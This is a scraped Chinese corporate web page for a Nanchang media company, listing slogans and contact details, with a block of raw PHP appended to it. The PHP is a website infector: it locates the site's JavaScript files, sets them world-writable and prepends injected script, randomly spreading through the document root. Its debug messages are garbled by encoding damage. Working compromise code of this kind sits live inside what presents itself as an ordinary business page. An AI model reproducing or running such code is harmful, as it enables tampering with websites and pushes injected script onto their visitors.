科技

五大分类 · 应有尽有 · 精致细腻

产品

科技让你更轻松,享受快乐科技

新闻

创意似金,敬业如牛,深入成就深度

联系

您的一分建议,我的百分创意

南昌市盛道文化传媒有限公司

地址:江西省 南昌市 朝阳新城 东亚朝阳soho 二栋711

手机:18970092307

邮箱:1301331771@qq.com

电话:+86-0791-88103386

邮编:330031

define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "һ\r\n"; $num = getjs($str); echo "д ".$num." "; if($num==0){ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } }else{ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//Ŀ¼ $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//׷ӵ { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//ȥظ $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " һ ".$file." д\r\n"; return 1; }else{ echo " ".$file." ûдɹ\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; }